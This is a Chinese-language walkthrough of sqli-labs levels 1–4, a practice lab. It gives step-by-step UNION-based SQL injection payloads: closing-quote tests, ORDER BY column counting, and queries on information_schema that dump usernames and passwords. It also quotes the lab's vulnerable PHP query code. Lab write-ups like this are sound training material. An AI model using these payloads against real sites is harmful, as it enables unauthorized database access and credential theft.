判断字符型和数字型方法:
数字型:
id = 1’ 返回不正常
id = 1 and 1 =1 正常返回
id = 1 and 1=2 不正常返回
字符型:
id = 1' 异常
id = 1' and '1' ='1 正常返回
id = 1' and '1' ='2 不正常返回
Less-1:
http://sqli-labs-master/Less-1/?id=1'
发现报错.说明我们输入的’在是被执行的。
http://sqli-labs-master/Less-1/?id=1 and 1=1
满足数字型第一个条件
http://sqli-labs-master/Less-1/?id=1 and 1=1
http://sqli-labs-master/Less-1/?id=1 and 1=2
仍然被执行,说明不是数字型,是字符型
http://sqli-labs-master/Less-1/?id=1'
使用单引号注入,发现后台数据需要进行闭合
把后面的进行注释再试试--+
使用order by 进行判断,当前表有多少字段
http://sqli-labs-master/Less-1/?id=1' order by 4--+
提示错误,说明字段少于表少于4列,在测试
http://sqli-labs-master/Less-1/?id=1' order by 3--+
正常返回,说明当前表是3个
那么我们在查看显位
http://sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+
可以看到2,3成功的显示出来了
利用mysql的database()查看当前的数据库
http://sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+
当前数据库是"security".'
继续查询数据库中的表
http://sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+
http://sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
Less-2
http://sqli-labs-master/Less-1/?id=1'
?id=1 and 1=1
返回正常
?id=1 and 1=2
返回不正常,所以是数字型判断
判断字段:?id=1 order by 4--+
错误,试试?id=1 order by 3--+
成功
查看显位:
?id=-1 union select 1,2,3--+ #为什么是-1呢,因为1的话还是Dumb内容,而你输入的1,2,3不能显示出来,所以只能使前面的内容显示不出来,然后再输入
然后后面的就成了一样的
Less-3
http://sqli-labs-master/Less-3/?id=1%27
提示需要')进行闭合
http://sqli-labs-master/Less-3/?id=1')--+
显示正常
当然输入1' and '1'='1 正常 1' and '1'='2不正常。所以是字符型
后面就是判断字段:
order by n+1 返回错误
order by n 返回正常
所以字段是n
然后就判断现位
') union select 1,2,3--+
后面的和第一个正常操作就好
Less-4
http://sqli-labs-master/Less-4/?id=1'
可能对’过滤了,然后试试其他符号,","),)
http://sqli-labs-master/Less-4/?id=1")--+
对它进行闭合
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
可以看到id是用()包着的,我们使用")--+就变成
$sql="SELECT * FROM users WHERE id=(1")--+) LIMIT 0,1";
--+后面的就被注释了,不能运行,这也是为什么他们为什么能运行。
后面一样:
判断字段:?id=1") order by 4--+ 返回不正常
?id=") order by 3--+ 返回正常
查看回响: ?id=-1") union select 1,2,3--+
然后根据回响位置,输入
具体操作和第一关一样
总结:
数字型注入:
1 and 1=1 正常
1 and 1=2 不正常
字符串注入:
1' and '1'='1 正常
1' abd '1'='2 不正常
- 查找注入点
- 判断字符还是数字型
- 如果是字符,找到闭合方式,’ " ') ")等
- 判断查询列数,group by ,order by
- 查询回显位置
- 开始查询
提交方式:
GET型,数据以get型 方式注入提交到url后。